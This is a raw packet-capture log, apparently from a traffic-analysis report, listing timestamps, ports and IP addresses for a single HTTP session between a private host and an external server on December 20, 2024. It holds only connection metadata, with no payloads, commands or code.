Dec 20, 2024 16:19:57.312787056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.313081026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.313200951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.313213110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.313278913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.313278913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.313874006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.313968897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.313982964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.314245939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.314671993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.314801931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.314812899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.314814091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.314987898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.315498114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.315602064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.315613985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.315655947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.316211939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.316320896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.316334963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.316380978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.317080975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.317255974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.317269087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.317434072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.317853928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.317943096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.317969084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.318151951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.318348885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.318650007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.318662882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.318756104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.318777084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.319325924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.319395065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.319442034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.319454908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.319566011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.320111036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.320250034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.320262909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.320359945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.320899963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.320991039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.320997000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.321005106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.321120024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.321696043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.321796894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.321809053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.321844101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.322472095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.322537899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.322726011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.322746992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.322928905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.323381901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.323479891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.323496103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.323581934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.324140072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.324203014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.324353933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.324368954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.324559927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.325201988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325417995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325431108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325483084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.325805902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325859070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325870037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.325894117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.325967073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.326570034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.326664925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.326760054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.326771975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.326824903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.327402115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.327536106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.327548981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.327636003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.328193903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.328294992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.328308105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.328361034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.329020977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329135895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329152107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329224110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.329735994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329797983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.329849005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329860926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.329974890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.330499887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.330641031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.330653906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.330704927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.331464052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.331562042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.331574917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.331590891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.331667900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.332115889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.332218885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.332233906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.332334995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.382354975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.498188972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498240948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498253107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498305082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.498557091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498617887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.498719931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498733997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.498816967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.499327898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499483109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499617100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.499623060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499771118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499820948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.499905109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499918938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.499974966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.500593901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.500677109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.500689030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.500746965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.501192093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.501281023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.501292944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.501347065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.502046108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.502104044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.502151012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.502331972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.502759933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.502820969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.502856016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.502868891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.503035069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.503765106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.503813982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.503834009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.504329920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.504359961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.504539967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.504554987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.504658937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.505156994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.505261898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.505325079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.505363941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.505875111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.505990982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.506002903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.506071091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.506071091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.506736994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.506843090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.506855965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.506910086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.507402897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.507466078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.507502079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.507519007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.507574081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.508311033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.508675098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.508687019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.508752108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.509017944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509077072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.509171963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509186029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509242058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.509780884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509872913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509885073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.509936094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.510587931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.510668993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.510699987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.510713100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.510786057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.511429071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.511554003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.511567116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.511614084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.512197018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.512248993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.512348890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.512361050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.512413025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.512861967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513000011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513012886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513056993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.513654947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513761997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.513789892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513802052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.513861895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.514447927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.514540911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.514554977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.514605045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.515211105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.515320063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.515355110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.515368938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.515422106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.515969038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.516094923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.516108036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.516206980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.516762972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.516823053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.516891956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.516905069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.517061949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.517627954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.517756939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.517837048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.517999887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.518012047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.518137932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.518565893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.518703938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.518716097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.518773079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.519459963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.519514084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.519530058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.519757986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.519896030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.520152092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.520293951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.520308018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.520339012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.521003008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521132946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521146059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521198988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.521198988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.521696091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521816969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521828890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.521871090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.522569895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.522680044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.522691965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.522741079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.523355961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.523490906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.523507118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.523844004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.524053097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.524157047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.524168968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.524179935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.524297953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.524837017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.525332928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.525537014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.545726061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.545726061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.690433025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690510988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690525055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690596104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.690793037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690839052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690843105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.690855026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.690907955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.691519976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.692924976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693037987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693042994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.693051100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693089008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.693314075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693496943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693509102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.693543911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.694096088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.694200039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.694211006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.694230080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.694246054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.694880009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.694963932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.694977045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.695012093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.695664883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.695754051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.695802927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.695816040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.695858002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.696414948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.696542025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.696554899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.696611881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.697333097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.697470903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.697483063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.697559118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.697559118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.698235035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.698375940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.698390007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699004889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699059963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.699157000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699167967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699212074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.699790955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699959993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.699971914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.700004101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.700444937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.700545073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.700557947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.700603962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.701092958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.701199055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.701210022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.701245070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.701867104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.701991081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.702003002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.702037096 CET	49828	80	192.168.2.6	185.215.113.16
